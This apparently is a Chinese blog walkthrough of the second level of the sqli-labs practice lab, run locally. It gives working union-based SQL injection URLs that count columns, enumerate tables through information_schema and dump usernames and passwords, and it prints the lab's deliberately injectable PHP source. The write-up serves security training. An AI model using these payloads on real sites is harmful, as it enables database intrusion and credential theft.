接上篇博客:https://blog.51cto.com/tdcqvip/2060816
来到第二关:
http://127.0.0.1/sqli-labs-master/Less-2/
访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1
判断是否有注入点:
and 1 = 1 返回正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23
and 1 = 2 返回失败
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23
说明存在注入点:
order by n 查看字段
当n=3时返回正确
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23
当=4时返回错误
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 %23
说明字段是3
用union select 进行联合查询:
并用报错的方式显示显示位:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23
通过上图可以看到显示位在2,3上。
用version()和database()查看php版本和当前网站用的数据库名字
我们通过上图可以看到数据库是“security” 版本是5.5.53
接下来我们查看数据库security下的表:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
通过上图可以看到有users表
查看users表里的列
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
接下来就是查看username和password里的内容:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23
结束:
声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句
接下来看看源代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $sql;
echo "<br>";
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>
通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤
与第一关不同的地方就是
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这句,没有“''”符号。
利用方式大致相同。
第三关尽快更新
微信公众号:
亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。